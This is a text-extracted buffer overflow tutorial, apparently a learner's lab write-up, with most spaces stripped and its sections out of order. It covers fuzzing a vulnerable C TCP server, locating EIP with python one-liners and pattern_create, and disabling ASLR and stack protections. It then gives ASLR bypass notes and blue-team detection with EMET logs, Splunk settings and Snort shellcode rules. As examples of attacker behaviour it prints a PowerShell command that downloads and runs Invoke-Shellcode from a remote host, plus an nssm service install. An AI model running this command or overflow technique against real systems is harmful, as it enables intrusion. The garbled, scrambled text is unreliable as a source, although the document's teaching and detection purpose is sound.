httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
